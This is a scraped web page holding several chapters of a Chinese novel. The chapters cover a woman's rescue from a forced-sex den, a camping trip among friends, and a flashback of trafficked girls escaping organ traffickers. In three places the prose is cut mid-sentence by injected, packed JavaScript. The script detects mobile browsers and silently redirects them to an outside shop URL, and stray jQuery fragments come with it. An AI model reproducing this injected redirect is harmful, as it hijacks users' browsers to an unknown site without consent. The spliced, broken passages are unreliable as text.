今天婆子那边没派人来盯着,这是天赐的机会——她要逃走。 男人的不耐烦逐扩散,跃然于表情上,本来迫不及待想爽快一把的心情被交岚。 他定要好好教训女孩。 男人朝门口走去,在魏可萱推开门之前,率先一步掐住她的脖子。 他心情不悦,急了眼,“再走,老子干.死.你。” 魏可萱被扼住喉咙,手中拿着的电击棒被男人甩到一边。 男人拖着她,把她甩上床,一手按住她,一手急不可耐地撕衣服。 “救命——放开我!放开!” 那个冬日的噩梦再度来袭,魏可萱讨厌被人压在身下的窒息感。她拼命挣扎,无助地望着侧边那扇差一点就可以打开此刻却死死紧闭着的门。 是希望,也是牢笼。 “放开我——” 魏可萱继续挣扎。 男人扇她巴掌,威胁她:“给我老实点!再乱动老子让你下辈子下不了床!” 微弱的光从门的地缝里钻进来,魏可萱看着这扇门,眼泪在眼睛里打转。 难道真的没有可能了吗? “砰——” 门被人从外面一脚踢开。 穿着一件灰色T恤和衬衣外套的楼巩冲了进来,他看着头发凌乱的魏可萱和压在她身上的男人,二话不说,抡起旁边的椅子朝男人砸过去。 男人吃痛,翻身瞪着男生。 “你神经病啊,闯进来干什么!” 门被打开后,外面的阳光彻底照进来,延展到楼巩的脚下。 金灿灿的一片,给这间房渡上一抹亮丽。 他抬起狠厉的目光,把魏可萱扶起来,又把男人拉下床,狠狠地踹了几脚。 “我打流氓畜牲不需要理由!” 魏可萱愣愣地盯着男生看,挪不开眼。 楼巩抡起椅子又砸了几下,呵斥道:“还不快滚!” 男人盯着他:“你给我等着!” 随后便拖着脚跑了出去。 楼巩回头,脱下自己的外套盖在魏可萱身上,她脸颊上滚动的泪珠吸引他的目光。 他的眼眸率真诚恳:“姐姐,你别怕,坏人被我打跑了!这里不是好地方,你想走是吗?我带你离开这里。” 楼巩带魏可萱离开下街的那一天,她才十八岁。 而他,正是十六岁的年纪。 - 后知后觉的连翘反应过来,拉长声音“哦”了一声,“原来——当初救下你的人就是楼巩。” 魏可萱突然有些不好意思,低下头:“那天,他把人赶走以后,就一直待在那间屋子里陪我,那是我第一次觉得像噩梦一样的房间好像没有那么恐怖。” 连翘又问她:“那之后呢?” - 之后,逃学跑到网吧里打游戏的李空山和小海接到电话,跑来找楼巩。 他们几个人一起把魏可萱带出下街,安顿在一间没人住的房子里。 这个新居所很安全,是小海二姨的房子,二姨早些年搬出来了,钥匙交给小海,不打算回来了。 楼巩牵着魏可萱走到屋内,拉来擦干净的椅子让她坐下。 虽然几个人比魏可萱小,但他们的个子各个都很高。 他蹲在魏可萱跟前,一脸诚恳,“姐姐,以后你就住这里,不会再有人欺负你了,如果你有不开心的事儿,随时可以找我们,我叫楼巩,高楼大厦的楼,巩固基础才能筑牢高楼大厦的巩。” 女孩还没从惊慌中缓过神来,对这陌生的环境同样害怕。几个人准备走,出去给她买点儿东西,魏可萱拉住楼巩。 其他人她不在乎,但她想要楼巩留下来陪着她。 在那间静谧的、不会再有坏人来欺负她的屋子里,她给他讲了梦里的家的故事。 只是她已经找不到怎么回去了。 楼巩问她:“要不你留下来吧,当我的姐姐,我每天都给你送好吃的,你也不用担心没事做。正街那边,鲜语花店的老板娘我可熟了,正好她最近招人,我可以介绍你到她那儿去。” “可是……” 魏可萱低下头,一直忍住的眼泪仿佛下一秒就要掉下来,她攥紧楼巩披在自己身上的外套,说出的每个字都那么煎熬。 “可是我的过去……他们会看不起我,毕竟、毕竟我是不三不四的脏女孩。” “呸呸呸,瞎说什么。” 十几岁的少年虽然年纪不大,但说起心中的是非曲直来,倒是刚毅果敢。 “受伤害的明明是你,他们凭什么对你指指点点啊,要指点就指点把你关在那儿的坏人去。” 他盯着魏可萱的眼眸,还是那样诚恳,“姐姐,你放心,欺负你的人一定会遭到报应,有我在一天,我绝不会让人对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你还别说,我突然想起来,楼巩以前刚见到我的时候,还一口一个姐姐呢,现在这小屁孩长大了,也不叫姐姐了。” “也许是因为——他发现他喜欢上你了吧。” 连翘跟着她浅浅而笑。 “胡说。” 从连翘口中说出来的所有话她都信,唯独这一句,魏可萱无论如何都不信。 她一脸笃定,“我跟他坦白心意的时候,他就拒绝我了。后来无论我怎么死缠烂打,他都不搭理我,甚至还在慢慢疏远我。有些时候还挺怀念最初认识他的那段时光,至少那个时候的他不会把我拒之千里。” 连翘心中有自己的考量,她说:“我觉得这其中应该是有隐情,也许……那个时候楼巩哥就发现了他妈妈的病呢?” 魏可萱摇头,“不是,是因为他们都不喜欢我。楼巩的妈妈赶我出去,因为她听邻居说我以前是外围女,楼巩虽然嘴上不说,肯定也多多少少有点介意我的过往,他们就是不喜欢我的过去。” 连翘打断她:“楼巩哥的妈妈会不会这样想,我不敢保证,但楼巩哥一定不会,从他看你的眼神我就知道,你在他那里,是他想要小心翼翼又不动声色守护的人。” 云层飘来,月光被遮挡,整个大地披上一层暗光。 连翘把头靠在魏可萱的肩膀上,声音轻轻的:“可萱姐姐,我们的国家没有法外之地,即便有,那也只是还未被人发现的、暂时的。” 她伸出手,云层飘走,月光从她的之间穿透过来,映在她的眼眸中。 连翘继续说:“总有一天,我会让把我们拐卖出来的人会受到应有的惩罚。” 魏可萱偏头看着身边的女孩,不知道为什么,她身上有股劲儿,总是会令人对她折服。 她说:“好,我相信。” 42. 第 42 章 “连翘,你去找他吧,李空山那小气鬼,现在肯定还在生气你怎么还没找他。我很好的,这里没事,放心。” 在这里待了挺久,她也的确担心生闷气离去的李空山现在的状况。 连翘起身,“那我先过去看看他,你待在这儿别乱走,我让楼巩哥和小海过来陪你。” “嗯。” 魏可萱点点头,她看着转身往前走的连翘,突然把她叫住。 “等一下,我还有话想说。” “什么话?”连翘回头,不明所以。 魏可萱神情缓和,其实把心底的事儿说出来,她整个人轻松不少,况且她还交到了连翘这个朋友。 她开口:“我就是想提醒你,当初楼巩把我带出下街的时候,李空山虽然也对我照拂不少,但那些都只是处于怜悯。可他对你不一样,他为你做的那些,已经远远超过怜悯的范围了。” “他这个人没心没肺,大事小事儿,事不关己,从他愿意把你留下来那一刻起,他对你是怎样的就已经有了答案。我的意思是——也许早在那天的天台上,你们的缘分就注定了。” 连翘诧异:“你知道是他?” “当然。” 魏可萱格外骄傲,“再怎么说,我家楼巩也和李空山一样,上过几天学的好吧。去找他的那天,我就在对面那栋楼。” 那一刻,连翘才明白,其实那天她和魏可萱缘分也许也已注定。 不过魏可萱只说对了一半,缘分开始却仅仅是开始,没有连翘后来的处心积虑打探李空山这个人,她也不会和李空山有现在。 不过…… 连翘蓦然想起说真心话时,李空山说的那个故事。 缘分也许还更早呢? 谁都说不定。 - 溪岸边,夜色笼罩大地。 李空山一个人盘腿坐在岸边,闷闷地往里扔石子儿。 楼巩和小海站在他身后不远处,你看我我看你,都不敢上去打搅。 见到连翘来了,他们纷纷识趣退下。 小海按捺不住活跃的性子,眉飞色舞说:“你可算来了。他已经等你很久了。” 他用眼色暗示连翘:情况很糟糕,接下来还得全靠你。 两人离开的时候,连翘叫住楼巩,对他说:“楼巩哥,虽然我不知道你为什么对可萱姐姐隐瞒你的感情,但是我看得出来,其实你很在意她。这个世界何其大,两个人相遇本身就是一件很困难的事儿了,她为了你,不惜忍受流言蜚语也要留在这儿,也许你把你心里的话说给她听,才是真正对她好。” 楼巩沉默未言,但连翘的意思他明白。 唯独小海愣愣地盯着楼巩,又一头雾水地看着连翘走远,不禁纳闷:难道男女之间感情的事儿都是那么复杂的? - 连翘没有出声,自顾自在李空山旁边坐下。 往溪里扔石子儿的少年停下手中动作,瞄了她一眼,不屑地收回目光,往旁边挪过去,与她保持距离。 连翘偏头看他,“李空山,你就这么想避着我啊?” 少年吊儿郎当开口,拉长尾音,装得云淡风轻。 “我哪儿敢啊——你心里不是已经特别的存在了吗。” “你就是在生气。”连翘挪过去,凑到他眼前,她现在还不敢告诉李空山实话,她得先弄清自己对于多年前一个更大的疑惑才行。 于是她解释道:“李空山,这个人特别是因为那天他的话让我打消了寻死的念头,但真的仅此而已,比起这些,你才是更特别的那个存在。” “我才不信。” 他偏着脑袋,仰起头看天,“除非——你说清楚我比那个人特别在哪儿,不然我还是当你在说假话。” “李空山,什么时候你连一个素未谋面的人也要比较了,这还是你的风格吗?” 他顿了顿,嘴硬到底,偏头回去看她,“是啊,怎么就不是了。” “行。” 他要嘴硬,那她便顺着他。 他要听一五一十的列举,那她便逐一给他列举。 “你看啊,这第一,论长相,他就比不上你。就凭你这张老天追着赏脸吃饭的脸,就不是他能比得上的。” “第二,论耐心,他也比不上你。那天这个人就只会说些话刺激我,可你就不一样了,你会从各种小事小细节里关心我,做事也好,说话也罢,对我一直都很有耐心。” 连翘还在继续往下说,而李空山的嘴角从她说第一句话时就翘得老高,不停上扬,没放下过。 这心里更不用想——肯定美滋滋的。 “还有第三,第三点是最关键的。”连翘握住李空山的手臂,认真又诚恳,“我在意的人是李空山呀,而不是那个人,这点他完全没法跟你比。” “真的?” 他瞄她一眼,心里乐开花,表面还要装模作样很淡定。 “当然啦,我发誓!” 连翘举起手,作出发誓的动作,“如果我说的是假话,就天打雷劈。” 李空山立刻把她手按下来,“行了,我才不需要你发什么毒誓,我相信就够了。” 他盯着她的眼眸,目光突然变得黯淡,充斥着落寞的底色。 “尧尧,其实最让我心里不好受的,不是这个。” “啊,不是这个?”连翘很意外,难道她刚才哐哐哐说一大堆的话都白说了吗。 她凑到李空山眼前,盯着他因垂下目光而更加清晰明了的浓密睫毛,“那是什么?” 李空山站了起来,盯着眼前的溪面,朦胧月光洒在上面,宛如仙女的轻纱。 少年的眉头情不自禁皱起,一脸懊恼。 “是我听到你说你曾想过寻死。我心里说不上来的难受,我在想,我真活该,要是我早点遇见你,是不是你就不会遭受这么多,也不会产生这样的想法和念头。” “李空山,想不到你还心疼我呀?” 女孩笑了下,眼睛眨呀眨,并没有被他自责的情绪所渲染,反倒是变得意外且惊喜。 “怎么,心疼你有问题?” “没有,当然没有。” 她看着嘴硬心软的他,同样也站起,“可在我看来,你遇见我,从来都没有晚过。再说了,我当时就是一时冲动,就像你说的,好好活着才是正道,活着,才意味着灰烬里能重燃希望的焰火。” “我说过?” 李空山略有迟疑看着她。 连翘格外笃定,目光不移,“说过。” - 小海一路哼着小曲儿走回到搭帐篷的地方,而他旁边的楼巩则一路保持沉默。 他回想着连翘说的话。 连翘说得对,他的确应该尽早和魏可萱说清楚、说明白。 可是真到了该坦白的时候,他却不知该从何说起。 小海一见到火堆就跑过去,坐在收缩椅子上,“我们回来了!” 帐篷里的魏可萱探出脑袋,看了两人一眼,就当看见空气似儿的,又重新收回身子回到帐篷里。 小海看楼巩一眼,疯狂用眼神暗示,“哎我说楼巩,你还不去看看?” 他欲言又止,脚步抬起又放下,这是小海第一次见他在一件事情上如此反复犹豫。 没等多久,反倒是魏可萱率先从帐篷里出来,往外走,经过楼巩时给他留下一句话,“你跟我过来,我有话和你说。” 他没应声,但的确跟着她往榕树下走去。 脚下绿草如茵随风舞动,远处的稻田传来蛙鸣声。 魏可萱背靠着树站着,盯着眼前的楼巩,她倒也很久没有像今天这样和他站起来好好说说话了。 “我……” 两人酝酿很久,异口同声开口说出这句未能说下去的话。 彼此对视着,魏可萱有些别扭,把头拧到一边,假装事不关己,“那你先说。” 楼巩摇摇头,突然变得客气,“不,还是你先说。” 魏可萱收回脑袋盯着他,心中一气,倒是没见他赶自己走时有这么客气。 她心一横,鼓足勇气,“说就说!” “楼巩!今天咱们好好说清楚,你之前躲着我避着我,是不是因为你放不下对我的过去的芥蒂?哪怕你表现得满不在乎,可是你内心深处还是介意我的过往的,对不对?和你妈妈一样介意。” “不是。” 他低下头沉默了很久才开口,“从来都不是。” 晚风徐徐掠过脸颊,带来夜晚的凉意和寂寥。 他重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165900|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新抬起头看着她:“如果我要是介意,我打从第一眼见你时就介意了,可是我没有。” 魏可萱不信:“在你心里,我不是那种脏女人?” “不是。”楼巩抬起头,直视她的眼眸,如果说他平日里说的话半真半假,那么接下来他说的这一句,一定百分百真。 “我虽然没什么出息,也没什么了不起的作为,但是我眼里的魏可萱,是这世界上最干净的存在。” 她错愕地看着他。那是第一次,她在他口中听到这样的话。 后来,楼巩向她承认了,他之所以这样躲着避着她,的确和他卧病在床的母亲有很大的关系。 他妈妈极力反对他和魏可萱在一块儿,哪怕走在一起,说一句话,都不行。 一次,他母亲的好友出门买菜,撞见他和魏可萱走在一起有说有笑,便把这事儿传到他母亲耳朵里。 他妈妈知道后,在医院里大怒,摔东西,砸电视,逼楼巩不准再喝魏可萱有任何来往。 镇子上的不少人都知道魏可萱以前是干什么的。他的母亲认为,楼巩和她有半点儿瓜葛都不行,他和她有来往,就是在丢他们楼家的脸。 他妈妈扬言,除非她死,否则她这辈子都不可能让魏可萱进他们家门。 同时还威胁他: “只要我听见半点儿你和她有来往的消息,我就立马跳楼去死给你看!” 从那场大闹以后,楼巩的性子收敛了很多,没有和她说明实情,不想伤她的心,但也在有意无意地回避她。 毫不知情的魏可萱想不通为什么,只能把原因归到自己的过往去。 不过如今她也总算明白了。 她骂楼巩是个傻子,扑到他的怀里去,说:“虽然你妈妈瞧不起我的出身,但是我从来都不会往心里去,我知道,她那样想我是合乎常理的。” “楼巩——” 她笑着,抬起头看他,“我会收敛自己的性子,对你妈妈好,去照顾她,让她慢慢接纳我,你也不要再像以前一样躲着我了,好不好?” 可以吗?楼巩在心里问自己。 他并不知道怎样的选择才是最佳答案,但至少这一刻,他只想听从内心的声音。 毕竟世上本就没有最佳的选择,有得自然就有所舍。 他的手举在半空,顿了很久,不知所措。 但心中的暖意随着她抱住自己的那一刹那便开始蔓延至全身。 他蓦然心软,两只手将她揽入自己怀里。 少年的声音回响在清冷寂寥的夜里。 他说:“好。” - 带着连翘回来的李空山大老远就撞见榕树下的这一幕。 他赶紧站到连翘面前去,挡住她的视线。 连翘不解,探头探脑,想要一看究竟,“李空山你挡我做什么?我好像看到楼巩哥和可萱姐姐了,你让我仔细看看是不是他们。” 李空山不闪开,继续挡她视线,“你就这么关心他们?” “当然了,我想知道他们到底和好没有。” 他顿了顿,解释说:“我不是不让你看,问题是前方少儿不宜。” 连翘:“……” “他们只是拥抱了下,这就少儿不宜了?” 李空山有模有样地解释,像个家风严苛的家长。 “你懂啥,你是好学生,不能跟他们学。” 他回头去看榕树下的楼巩和魏可萱到底抱够撒手没有。 而就在那一瞬间,连翘踮起脚,轻轻地抱了他一下,又把手撒开。 他回头,整个人怔住。 若不是她接着开口说话,他还以为自己在做梦。 连翘轻轻扬起嘴角,气定神闲,“抱一抱我在意的人,不犯法。” 她刚才有多果敢,现在就有多心虚。 “哦……那什么,我想起我的东西还在帐篷里,我先去拿!” 话音一落下,她就率先向扎好帐篷的营地跑去。 李空山愣愣地立在原地,半天反应不过来怎么回事。 眨眨眼,一脸懵。 直到帐篷里的灯光亮起,他才回过神,嘴角情不自禁上扬,转身往回走,步子雀跃得快要飞起来。 “她刚刚抱我了——” 43. 第 43 章 “奶奶,我来看你了。” 寒假来临,连翘提着东西到乡下奶奶的家里。 李空山和小海楼巩他们出去收债,今天走不开,便只能她自己一个人来。 “你这孩子,来就来,提这么多东西干什么。” 奶奶乐呵呵地迎连翘进屋。 早就得知她要来,老太太一大早便在屋子外候着,翘首以盼。 “哪有很多东西,这些很少的。”她笑着把东西放下,从口袋里翻翻找找,找到一个收音机。 老太太坐在椅子上,连翘蹲在她身前。 “奶奶你看,听李空山说,你很喜欢听这些,我就找五金店的老板帮你修好了你最喜欢的这台,你看看,合不合适。” “孩子,你太有心了。” 老太太两手捧着收音机,视若珍宝,收音机外壳洁净无瑕疵,像个新的一样。 之前连翘提出重新买一个的时候,老太太就不肯,哪怕这是坏的,也只要这台。 因为这是李空山的爷爷年轻时候送奶奶的。 爷爷走了,奶奶就把这台收音机当作宝贝,每天都听,放在房间里最显眼的地方,仿佛爷爷还陪在奶奶的身边一样。 奶奶握住连翘的手,她知道修好这台几乎快要报废的收音机有多不容易,“你肯定费了不少心思和功夫吧?” “不存在的奶奶。小事一桩。”她依旧笑着,又从袋子里找来新鲜的水果削给她吃。 老太太不禁感叹,“你看你,每次到老太婆我这儿来都忙上忙下的,可惜我老了,不中用,都不能为你做什么。” 连翘反驳她:“奶奶,你这么想可不对,你把李空山抚养长大,就已经是天底下最最伟大的人了,现在你就该享福,别的什么都不用你担心。” 老太太腿脚不方便,柜子的高的地方不敢踩着凳子去清理,避免摔跤,每次连翘来的时候,便会包揽下这些大大小小的活儿。 她端详着停不下来非要去擦柜子的连翘,目光慈爱柔和,不知怎么,有那么一刹那,她忽然觉得连翘的背影格外熟悉。 借着擦柜子的间隙,连翘忍不住开口询问老太太自己心里的疑惑。 她犹豫了会儿,问道:“奶奶……之前我听她们说,李空山小时候因为没能救下一个小女孩,心里一直很过意不去,这……到底是怎么一回事啊?” “你说这事儿啊。” 老太太叹了口气,端详着前方的大门口,缓缓说道:“这小子小时候调皮,老是趁着我打晃眼儿的功夫翻出窗子溜到外面去,有一次,也不知怎么的,他淋着雨回来,全身湿透了,跟我说他遇到了一个有危险的小妹妹。他让这小妹妹躲起来,等到雨一停,他就去接她,帮她逃跑。” “然后呢?” 对于这些,连翘全都记得,每个字,每句话她全都记得。 “可是这孩子一回来就发高烧,兴许是淋了雨的缘故,全身滚烫,自己都那儿样了,昏迷不醒,嘴里还嘀咕着什么‘我答应了她’之类的话。” “我见他从床上爬起来,人都站不稳,还非要往外走,说要去带什么妹妹离开这里。我当他说梦话,就没放在心上。谁知道我前脚刚去厨房,他就冒着大雨跑了出去。” “这孩子还发着高烧呢,站都站不稳,我担心啊,也跟着追了出去,可是没有见着他说的什么妹妹啊,他那样子我至今都记得,脸色苍白,我愣是不敢让他在外面淋雨,直接把他带了回去。” “我以为他在说梦话,哄他这妹妹已经被人平安送回家了,他问我是真的吗,下一秒,这孩子就体力不支,直接晕倒过去。” “后来我把他送去医院,医生说,他发高烧还出去淋雨,差点连命都保不住,在医院输液输了整整两个礼拜。” 说起这件事,同样愧疚的还有老太太。 连翘放下抹布,脑子一片空白,她靠着柜子而站,仿佛老太太提起的一切都还在昨天,没有过去多久。 老太太叹息,低下头,“直到后来,这孩子老是在梦里说梦话,我才意识到,他提到的什么妹妹不是假的。他那天是真的要按约定去带她离开……” 连翘难以置信地看着她。 这么多年来,她差点把这事儿忘了。 因为她一直都不愿意回想起这件事。 那是她非常难受且痛苦的一天,她差一点点就可以逃离出去,可是在那一天,她受到了巨大的欺骗。 - 十多年前的秋天。 一辆面包车驶入清流镇,卷起一地落叶和灰尘,在外人看来并无异样。 可这辆面包车里面却装着巨大的秘密。 避开人群和店铺,面包车半路没停过,一路往南边儿开,最后停在清流镇周边一栋偏僻的仓库里。 司机从驾驶座下来,早在仓库等候多时的男人拿着一沓厚厚的钞票走过去,“这是尾款,记住我说的话,不准走漏消息,否则你我都吃不了兜着走!” “是是是,知道知道。” 司机点头哈腰,眼睛直勾勾盯着手里这一沓钞票,清点过后,他满意地回话:“这是自然了。如今我们都是一条绳上的蚂蚱,谁背叛谁都不会有好下场。” 光头男人看了眼面包车,问:“人都在吧?对得上不?” “对得上对得上!” 司机嬉皮笑脸,拍胸脯保证,“我办事你放心,一个都没落下。” 光头男人名叫齐磊,专门负责在清流镇转手这些拐卖来的儿童。 他趴到车窗前往里看了一眼,确认无误后,朝仓库里喊道:“云姐,剩下的事儿交给你了,你把这些人带进去。” “知道了。” 仓库的偏房里走出一个扎着低马尾的女人,她看上去年纪不算大,大概三十多岁,右边垂下厚厚的刘海挡住右侧脸的疤痕。 梁云走到两人面前停下,气度沉稳,“车子开过来没出什么状况吧?” 司机摇头:“没有。” 闻言,梁云走到面包车车门边,将车门打开。 里面的女孩因为害怕,全部躲在最角落里,缩着头,不敢看她一眼。 有的女孩脸颊上全是眼泪,但她们的嘴巴被麻布堵住,无法发出哭声。 梁云从她们的眼里看到了绝望和祈求,可她的眼神依旧很冷漠。 她把车门关上,面无表情,“行了,这里剩下的交给我,你们记住,明天晚上十一点,买主会到这边来要人,到时候你们给我把紧关,不要让任何人发现我们在做的事,不然……我们全都要掉脑袋。” “云姐,你放一百个心。我做事,从不出差错。”齐磊扬言道。 她点点头,应允他们离开。 之后,面包车上的女孩便被她带出来,关进仓库里一间上锁的房间。 这里面,也有九岁的连翘。 她观察过了,这个房间密不透风,一扇窗户都没有,只有墙角处一个通风孔,如果想趁没人的时候逃出去,根本不可能。 周围的同龄女孩蜷缩在角落里,各个害怕不已,她们望着这间漆黑的房间,又害怕又想家,仿佛从她们被拐到这里来时,这辈子就注定要完了。 深夜,房间的门被打开,梁云进来给这些女孩送吃的。 她的目光像寒冰一样散发寒气,不近人情。 已经几天没吃饭了,所有的女孩都凑上来翘首以盼,唯独连翘一个人坐在原地不动。 梁云解开捆住她们的手的麻绳,当所有人都开始狼吞虎咽,她走到一动不动的连翘面前,问:“你打算把自己饿死?” 连翘沉默了一会儿,想好怎么说以后,抬起头看着对面的女人。 “你不是坏人,你可以放我们走吗?” “你怎么知道我不是坏人?” 女孩的手被捆在身后,没有解开,但她依旧继续往下说。 “那个光头男在外面喊你的时候,你是从后门进来绕到偏房的,我还听到了翻墙落地的声音,很轻,光头在和司机说话没注意,但我注意到了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165901|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小女孩盯着她,“这个地方很隐蔽,周围全是荒山野岭,你打开车门数人,等光头他们离开后,还朝墙头比了一个‘九’的手势。阿姨,你在往外秘密送情报对不对?” “如果你是好人的话,你为什么不放我们走呢?” 女人的眼中闪过一丝光,方才的冰冷和严肃消失殆尽,饶有趣味地盯着小女孩。 “小朋友,告诉阿姨,你今年几岁?” 女孩的声音糯糯的,虽然有所提防,但还是实话实说。 “九岁。” 梁云温和笑了下,“和我儿子差不多大,他只比你年长一岁。” “你的儿子在哪里?如果他知道你在外面帮坏人做事情,你不怕他讨厌你吗?” 梁云握住连翘的肩,“小朋友,有些事情,即便是大人也无可奈何,阿姨愧对自己的儿子。你很聪明,明天晚上,他们会把你们还没被买走的人运去下一个据点,你的家在哪里?还记得吗?” 女孩摇头,“我不知道,我只记得我们坐了好久好久的车,身上脏脏的,已经好久没有吃饭了。” “那你答应阿姨一个要求好不好?不要让任何人知道阿姨的秘密,等明天晚上一过,阿姨就有办法送你们回家。” “真的?” 女孩盯着右脸被烫伤的女人,若有所思,“好吧,我相信你。可是不是你说明晚就有人来买我们?” “这是阿姨说的没错。但阿姨也有办法让他们来不了,所以,明晚过后,阿姨保住你们全都能平安回家,好不好?” 女孩点点头。 虽然她讨厌把她拐走的每一个坏人,但她看得出来,这个女人和他们不是一伙儿的。 第二天晚上。 事情有变。 原本约定好买卖时间,可迟迟却不见买主上门。 出去打探消息的齐磊跑回来说:“我们的行动暴露了,那些买主被警察控制,一个都来不了。” “tmd。” 负责这次交易的贲诸震怒,拍桌站起,拎起光头齐磊的衣领,“不是让你们处处小心行事吗!怎么又暴露行踪了!” 齐磊皱眉哀求,“二哥,你饶了我吧,我也不知道怎么回事啊,我明明什么都没做,这一路上也没发现什么异样啊。” 站在一旁的梁云走过来,协调纠纷,“二哥,我看还是算了吧,当务之急,是先想办法离开这里,不然等警察追上来,我们一个都走不了。” 贲诸撒手,齐磊一个酿跄往后退。 “云姐,我们现在撤走了,那些拐来的儿童怎么办?带上他们不是更容易被警察盯上吗?” 梁云看向贲诸,“二哥,你怎么看?” 贲诸两手叉腰,咬紧牙关,脸上全是愤怒,他盯着地面,大幅度呼吸着,想了会儿,说:“那就把他们交给孟老歪,正好他最近器官生意手头缺货。反正人都带不走,捞点钱回本也行。” 梁云悚然抬头,她本以为贲诸会顾不上那么多,而是会直接兵分三路各自跑,没想到死到临头了,他还在打那些孩子的主意。 她表现得很平静,看起来处处在为贲诸考虑,是个心思缜密的人。“可是二哥,你难道忘了吗,大哥说过无论什么时候都不能和孟老歪合作,他这个人背信弃义,要是哪天他落到警察手里,把我们全交代出去,我们一个都跑不了。” “那还能怎么办!” 贲诸大怒,眼下他也又急又乱,只能狗急跳墙,兵行险招。 梁云低下头,也很无奈,过了会儿,她突然想到一个主意,说:“二哥,不如这样,你带着齐磊先走,我去联系孟老歪,把人给他送过去,等事情办妥以后,我第一时间来找你们汇合。” “你?” 梁云提出的单独行动让贲诸无法对她放下戒备。 他还记得梁云最初进来的那天,她举起一壶开水往自己的右脸淋,以表达自己的忠心和诚意。 是个狠角色。 这是他一直以来对她的看法。 44. 第 44 章 梁云看着贲诸,不敢吭声,她其实也是在赌——赌贲诸敢不敢为了跑路冒险。 贲诸沉默着,忽然把叉在腰间的手放下,“好。” 他走到梁云面前,两手按住她的肩,感慨道:“妹子啊,这次就得多亏你走一趟了,你得记住,一路上小心,别找了警察的道。” 梁云点头,目光坚定,“放心,二哥。” 她向两人辞别,关上门去往关押着女孩的密室。 待她走后,齐磊不解开口,“二哥,明明你一开始就打算把这些儿童卖给孟老歪走私器官,况且孟老歪的人已经在来的路上,估摸着几分钟后就到,你为什么骗云姐,不跟她说实话?” 贲诸盯着那扇已经关上的门,沉默很久,眼眸深沉,令人捉摸不透。 “你不懂,养熟的狗可能一开始就有了别的主儿。” - 从贲诸房间离开后,梁云就不停地加快脚步,朝那间屋子跑去。 她必须快一点,再快一点。 就在十分钟之前,她得到了另一个人的消息——孟老歪的人已经在路上了,准备把这些孩子带到另一个地方去,挖出器官走私。 刚才在贲诸房间时的一切,都是她的试探和伪装,为的不过是再多拖延一点点时间。 这次贲诸留有后手,反过来算计他们,是她万万没想到的。 她才明白——原来她已经被贲诸怀疑了。 锁链发出声音,梁云慌乱开门,想快一点儿,动作却比往常迟钝不少。 门一打开,她慌张跑进去,蹲在这些孩子面前,“快,你们快跟我走!再不走就来不及了!” 女孩个个面面相觑,不知道往日里一脸严肃的丑阿姨现在又是在搞哪出。 连翘反应过来,站起喊道:“快跟她走啊,难道你们想在这里等死吗!” 梁云抱起最小的女孩,牵着哭哭啼啼不止的另一个女孩,不停地喊,不停地招手,带领她们绕小道逃走。 连翘跟在她身后跑,“阿姨,到底发生什么了?” 梁云带着众人跑到围墙边,她蹲下身,握住连翘的手臂,“孩子,阿姨的计划败露了,只能护送你们到这儿。你们从这里钻出去,别怕,我来拖住他们。” “你记住,带着她们跑,不停地跑,跑得越远越好,永远不要回头!” 连翘不舍地看着她,梁云把她们一个接一个地推出去,“走啊——快走!” 从洞子里钻出去以后,最后一个离开的连翘跑了一截路以后,回头看了一眼。 贲诸已经带着光头齐磊追上来了,梁云用自己的身躯堵住洞口。 她看不见里面发生了什么,只看见掩住洞口的青色野草逐渐变得鲜红。 染红半壁水泥墙。 像是一支箭,刺痛她的眼眸。 - 从洞口逃出去以后,连翘就和其余的女孩走散了。 她们四散开来,各跑各的,顾不上别人,连翘躲在一户烂瓦房里一天一夜,不敢出声,不敢乱动。 期间曾有奇奇怪怪的人沿着街到处搜查。她躲得很隐蔽,这才没让进入烂瓦房的人发现行踪。 她也不知道其他人怎么样了。 一滴水没沾,一口饭没吃,她的肚子有些饿。 可她怎么都忘不了前一个夜晚所看见的一切。 她还记得,跑出去的时候,女人曾蹲在她面前对她说:“你说你的家在很远很远的地方,如果你没地方可以去的话,就去顺兴街39号找一户姓仲的人家,他们人很好,一定会收留你。” 肚子饿得咕咕叫的女孩实在管不了那么多了。她探头探脑往外看,确认一切很平常没有问题以后,她便从倒塌的房梁木里钻出去。 她光着脚丫,浑身脏兮兮的,脸蛋也灰不溜秋,头发又蓬又乱,搁大街上走,别人还以为这是掉田里去了。 今日是赶集的日子,镇子街道两侧都有人摆摊卖东西,连翘小心翼翼混在人群里走着,远处传来的小笼包的香味不断诱惑她。 她真的好饿。 小笼包的香味诱惑着她往前走,她慢慢放下警惕和戒备,一门心思盯着不远处的蒸炉。 “不好——” 是那群人。 为首的人的脸连翘就算闭着眼也不会忘记——是那天那个光头齐磊。 他正带着人在外面搜寻跑掉的孩子。 连翘转头就跑,还好有赶集的人群作掩饰,齐磊带着人慢了半拍才发现她。 命悬一线。 她拼了命地往前跑,哪怕上一刻已经饿得快要走不动路了,此时此刻,她剩下的唯一一点点潜力也被激发出来。 就这样,一个小女孩绕过一个个人,一条条街,跑啊跑,拼了命地想甩掉后面追自己的坏人。 